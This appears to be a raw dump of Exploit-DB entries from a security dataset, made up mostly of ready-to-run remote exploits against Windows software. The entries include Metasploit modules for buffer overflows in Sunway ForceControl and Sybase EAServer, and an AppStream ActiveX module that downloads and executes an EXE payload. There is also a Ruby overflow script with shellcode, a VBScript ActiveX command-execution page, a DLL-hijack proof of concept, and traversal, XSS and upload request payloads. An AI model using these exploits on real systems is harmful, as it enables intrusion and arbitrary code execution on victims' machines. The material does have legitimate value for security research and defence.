deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18448
Description: Sunway ForceControl - SNMP 'NetDBServer.exe' Opcode 0x57 (Metasploit)
Type: remote
Platform: windows
Date: 2012-02-02
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
			'Description'    => %q{
					This module exploits a stack based buffer overflow found in the SNMP
				NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
				triggered when sending an overly long string to the listening service
				on port 2001.
			},
			'Author'         => [
						'Luigi Auriemma', # original discovery
						'Rinat Ziyayev',
						'James Fitts'
					],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'BID', '49747' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => 'true',
					'BadChars' => "\x0a\x0d\xae",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						# p/p/r ComDll.dll
						'Windows', {  'Ret' => 0x100022c4 }
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 22 2011'))

		register_options(
			[
				Opt::RPORT(2001)
			], self.class )
	end

	def exploit
		connect

		header =  "\xeb\x50\xeb\x50"
		header << "\x57\x00"  # packet type
		header << "\xff\xff\x00\x00"
		header << "\x01\x00"
		header << "\xff"

		footer = "\r\n"

		packet = rand_text_alpha_upper(65535)
		packet[0,header.length] = header
		packet[293,8] = generate_seh_record(target.ret)
		packet[301,20] = make_nops(20)
		packet[321,payload.encoded.length] = payload.encoded
		packet[65533,2] = footer

		print_status("Trying target %s..." % target.name)

		sock.put(packet)

		handler
		disconnect
	end

end
Exploit-DB #35864
Description: Sunway ForceControl 6.1 - Multiple Heap Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2011-06-17
Author: Dillon Beresford

Exploit:
source: https://www.securityfocus.com/bid/48328/info

Sunway ForceControl is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit these issues to execute arbitrary code on the affected device. Failed exploit attempts will result in a denial-of-service condition.

def send(packet)
    begin
        sock = TCPSocket.new(@ip, @port)
        sock.write(packet)
    rescue Exception => e
        return false
    else
        resp = sock.recv(1024)
        sock.close
         
        return true
    end
end
 
@ip = ARGV[0]
@port = 80
 
# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
            "\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
            "\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
            "\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
            "\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
            "\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
            "\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" +
            "\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
            "\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
            "\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
            "\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
            "\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
            "\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
            "\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
            "\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
            "\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
            "\x82\xc5\x65"
             
payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)
 
pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"
 
puts "packet sended." if send(pack)
Exploit-DB #8160
Description: SupportSoft DNA Editor Module - 'dnaedit.dll' Code Execution
Type: remote
Platform: windows
Date: 2009-03-05
Author: Nine:Situations:Group

Exploit:
<!-- SupportSoft DNA Editor Module (dnaedit.dll v6.9.2205) remote code execution exploit (IE6/7)
     by Nine:Situations:Group::bruiser

     vendor url: http://www.supportsoft.com/
     our site: http://retrogod.altervista.org/

     details:
     CLSID: {01110800-3E00-11D2-8[PII_REDACTED]874ED}
     Progid: Tioga.Editor.1
     Binary Path: C:\Programmi\File comuni\SupportSoft\bin\dnaedit.dll
     KillBitted: False
     Implements IObjectSafety: True
     Safe For Initialization (IObjectSafety): True
     Safe For Scripting (IObjectSafety): True

     vulnerabilities, discovered two months ago:
     insecure methods: Packagefiles() - remote file overwrite, directory traversal, *script injection* and ... a crash (investigating on this one)
                       SaveDna() - remote file creation, directory traversal
                       AddFile() - remote cpu consumption
                       SetIdentity() - remote file creation

     This dll was present inside the SupportSoft ActiveX Controls Security Update for a previous buffer overflow vulnerability,
     see: http://secunia.com/advisories/24246/
     My download url was: http://www.supportsoft.com/support/controls_update.asp
     actually unreachable
     see also: http://www.securityfocus.com/archive/1/archive/1/461147/100/0/threaded
     Well, they probably patched my marking them unsafe for initialization (I see that the ScriptRunner module suffers  of a
     buffer overflow bug in the Evaluate() method...) but they gave you another vulnerable control...
-->
<HTML>
<OBJECT classid='clsid:01110800-3E00-11D2-8[PII_REDACTED]874ED' width=1 height=1 id='DNAEditorCtl' />
</OBJECT>
<SCRIPT language='VBScript'>
<!--
sh="<HTML><SCRIPT LANGUAGE=VBScript>" + unescape("Execute%28unescape%28%22Set%20s%3DCreateObject%28%22%22WScript.Shell%22%22%29%250D%250As.Run%20%22%22cmd%20%252fc%20start%20calc%22%22%22%29%29") + "<" + Chr(47) + "SCRIPT><" + Chr(47) + "HTML>"
'file path is injected in msinfo.htm, you can see the code by an hex editor, some limit with *number* of chars, some problem with newlines, resolved with vbscript code evaluation by Execute(), a popup says Unable to post... click Ok or close it and you are pwned
DNAEditorCtl.PackageFiles sh + "../../../../../../../../../WINDOWS/PCHEALTH/HELPCTR/System/sysinfo/msinfo.htm"
'launch the script and calc.exe trough the Help and Support Center Service
document.write("<iframe src=""hcp://system/sysinfo/msinfo.htm"">")
-->
</SCRIPT>

# milw0rm.com [2009-03-05]
Exploit-DB #21897
Description: SurfControl SuperScout WebFilter for Windows 2000 - File Disclosure
Type: remote
Platform: windows
Date: 2002-10-02
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5857/info

SurfControl SuperScout WebFilter Reports Server is prone to a vulnerability which may allow remote attackers to disclose the contents of arbitrary files.

The Reports Server does not sufficiently filter triple-dot-slash (.../) sequences from web requests. As a result, an attacker may break out of the root directory for the reporting service and browse the filesystem at large, disclosing arbitrary files that are readable by the Reports Server.

http://reports-server:8888/.../.../.../.../.../.../.../winnt/win.ini
Exploit-DB #21898
Description: SurfControl SuperScout WebFilter for Windows 2000 - SQL Injection
Type: remote
Platform: windows
Date: 2002-10-02
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5859/info

SurfControl SuperScout WebFilter Reports Server is prone to SQL injection attacks. This issue is due to insufficient input validation on the part of some of the reports files, which are implemented as .dlls.

As a consequence, remote attackers are able to modify the logic of SQL queries. This may result in database corruption or disclosure of sensitive information.

http://reports-server:8888/SimpleBar.dll/RunReport ?...<various parameters>
Exploit-DB #22807
Description: SurfControl Web Filter 4.2.0.1 - File Disclosure
Type: remote
Platform: windows
Date: 2003-06-19
Author: thomas adams

Exploit:
source: https://www.securityfocus.com/bid/7978/info

A problem with Web Filter may allow attackers to obtain access to sensitive files. The vulnerability occurs due to insufficent sanitization of '.../' directory traversal sequences. 

http://isa-surfserver:8888/.../.../.../.../winnt/
Exploit-DB #33540
Description: SurgeFTP 2.x - 'surgeftpmgr.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2010-01-18
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37844/info

SurgeFTP is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in an administrator's browser session in the context of the affected site. This could potentially allow the attacker to steal cookie-based authentication credentials; other attacks are also possible.

SurgeFTP 2.3a6 is vulnerable; other versions may also be affected. 

http://www.example.com:7021/cgi/surgeftpmgr.cgi?domainid=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&cmd=user_admin
http://www.example.com:7021/cgi/surgeftpmgr.cgi?domainid=-1&cmd=class&classid=<img+src=http://127.0.0.1/t.gif+onload=alert[PII_REDACTED]60)>
http://www.example.com:7021/cgi/surgeftpmgr.cgi?cmd=class&domainid=0&classid=%3CSCRIPT%20SRC=http://www.example.com/xss.js%3E%3C/SCRIPT%3E
Exploit-DB #34654
Description: SWiSH Max3 - DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-09-20
Author: anT!-Tr0J4n

Exploit:
// source: https://www.securityfocus.com/bid/43332/info

SWiSH Max3 is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

SWiSH Max3 is vulnerable; other versions may also be affected. 

/*
#SWiSHmax DLL Hijacking Exploit (swishmaxres.dll)
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com $ GlaDiatOr $ SILVER STAR $ Coffin Of Evil $ HoBeeZ $ Mr.Mh$TEr $ ?Own3d $ Cyber-Err0r $ Nashy $ all My Friends
#contact: D3v-PoinT@hotmail.com & C1EH@Hotmail.com
#Tested on: Windows XP sp3
 
#How to use : Place a .swi file and swishmaxres.dll in same folder and execute .swi file in
 
#swishmaxres.dll (code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #16766
Description: Sybase EAServer 5.2 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: sybase_easerver.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sybase EAServer 5.2 Remote Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Sybase EAServer Web
				Console. The offset to the SEH frame appears to change depending
				on what version of Java is in use by the remote server, making this
				exploit somewhat unreliable.
			},
			'Author'         => [ 'anonymous' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2005-2297' ],
					[ 'OSVDB', '17996' ],
					[ 'BID', '14287'],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    	=> 1000,
					'BadChars' 	=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Technically we could combine these into a single multi-return string...
					['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}],
					['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?',  {'Ret' => 0x6d4548ff, 'Offset' => 3841}],
					['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}],
					['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}],
				],
			'DisclosureDate' => 'Jul 25 2005'))

		register_options(
			[
				OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
				Opt::RPORT(8080)
			], self.class)
	end

	def exploit

		print_status( "Attempting to exploit...")

		# Building the evil buffer
		crash = rand_text_alphanumeric(5000, payload_badchars)
		crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"
		crash[ target['Offset']    , 4 ] = [target.ret].pack('V')
		crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded

		# Sending the request
		res = send_request_cgi({
			'uri'          => datastore['DIR'] + 'Login.jsp?' + crash,
			'method'       => 'GET',
			'headers'      => {
				'Accept'	=> '*/*',
				'User-Agent'	=> 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
			}
		}, 5)

		print_status("Overflow request sent, sleeping for four seconds")
		select(nil,nil,nil,4)
	end

end
Exploit-DB #23489
Description: Sygate Personal Firewall 5.0 - DLL Authentication Bypass
Type: remote
Platform: windows
Date: 2003-12-29
Author: Aphex

Exploit:
source: https://www.securityfocus.com/bid/9312/info

A vulnerability has been reported to affect Sygate Personal Firewall that may allow a user to bypass DLL authentication controls. The issue has been reported to present itself in the routines that are used to enforce DLL authentication.

A local attacker may exploit this condition to bypass Sygate DLL authentication controls.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23489.zip
Exploit-DB #33642
Description: Symantec (Multiple Products) - Client Proxy ActiveX 'CLIproxy.dll' Remote Overflow
Type: remote
Platform: windows
Date: 2010-02-17
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/38222/info

The Symantec Client Proxy ActiveX control is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

The following are vulnerable:

Symantec AntiVirus 10.0.x and 10.1.x prior to 10.1 MR9
Symantec AntiVirus 10.2.x prior to 10.2 MR4
Symantec Client Security 3.0.x and 3.1.x prior to 3.1 MR9 

<html> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:E381F1C0-910E-11D1-AB1E-00A0C90F8F6F' id='target' /> <script language='vbscript'> arg1=String(7188, "A") target.SetRemoteComputerName arg1 </script> </html>
Exploit-DB #16512
Description: Symantec AppStream LaunchObj - ActiveX Control Arbitrary File Download and Execute (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: symantec_appstream_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
			'Description'    => %q{
					This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
				is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
				method. The insecure method can be exploited to download and execute arbitrary files in the
				context of the currently logged-on user.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2008-4388' ],
					[ 'OSVDB', '51410' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Jan 15 2009',
			'DefaultTarget'  => 0))

	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha(rand(5) + 1 )

		content = %Q|
		<html>
			<object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
			<script language="javascript">
				#{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
			</script>
		</html>
				|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end

end
Exploit-DB #17517
Description: Symantec Backup Exec 12.5 - Man In The Middle
Type: remote
Platform: windows
Date: 2011-07-09
Author: Nibin

Exploit:
Exploit Title: Symantec Backup Exec MiTM Attack
Date: 27/05/2011
Author: Nibin
Software Link: http://www.symantec.com/business/products/family.jsp?familyid=backupexec
Version:
 - Symantec Backup Exec for Windows Servers versions 11.0, 12.0, and 12.5
 - Symantec Backup Exec 2010 versions 13.0 and 13.0 R2
Tested on: Tested on Symantec Backup Exec 12.5 for Windows Servers
CVE : CVE-2011-0546
BID: 47824

Symantec Disclosure link:
http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2011&suid=20110526_00
iViZ Disclosure link: goo.gl/1vzdE

Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17517.zip (SymantecReplay.zip)
Exploit-DB #31072
Description: Symantec Backup Exec System Recovery Manager 7.0 - FileUpload Class Unauthorized File Upload
Type: remote
Platform: windows
Date: 2007-01-05
Author: titon

Exploit:
source: https://www.securityfocus.com/bid/27487/info

Symantec Backup Exec System Recovery Manager is prone to a vulnerability that allows arbitrary unauthorized files to be uploaded to any location on the affected server.

This issue resides in the Symantec LiveState Apache Tomcat server. Attackers can leverage it to execute arbitrary code with SYSTEM-level privileges and completely compromise affected computers. 

<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://www.example.com:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>
Exploit-DB #22028
Description: Symantec Java! JustInTime Compiler 210.65 - Command Execution
Type: remote
Platform: windows
Date: 2002-11-21
Author: Last Stage of Delirium

Exploit:
source: https://www.securityfocus.com/bid/6222/info

A vulnerability has been discovered in the Java! JustInTime compiled used by Netscape Communicator, related to the generation of Intel instructions from specially constructed Java bytecode.

If a malicous applet is compiled by the vulnerable compiler, it may be possible to redirect program flow to point to attacker-controlled memory.

Successful execution of attacker-supplied instructions may result in arbitrary system commands being executed outside of the Java sandbox, with privileges of the JVM process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22028.tar.gz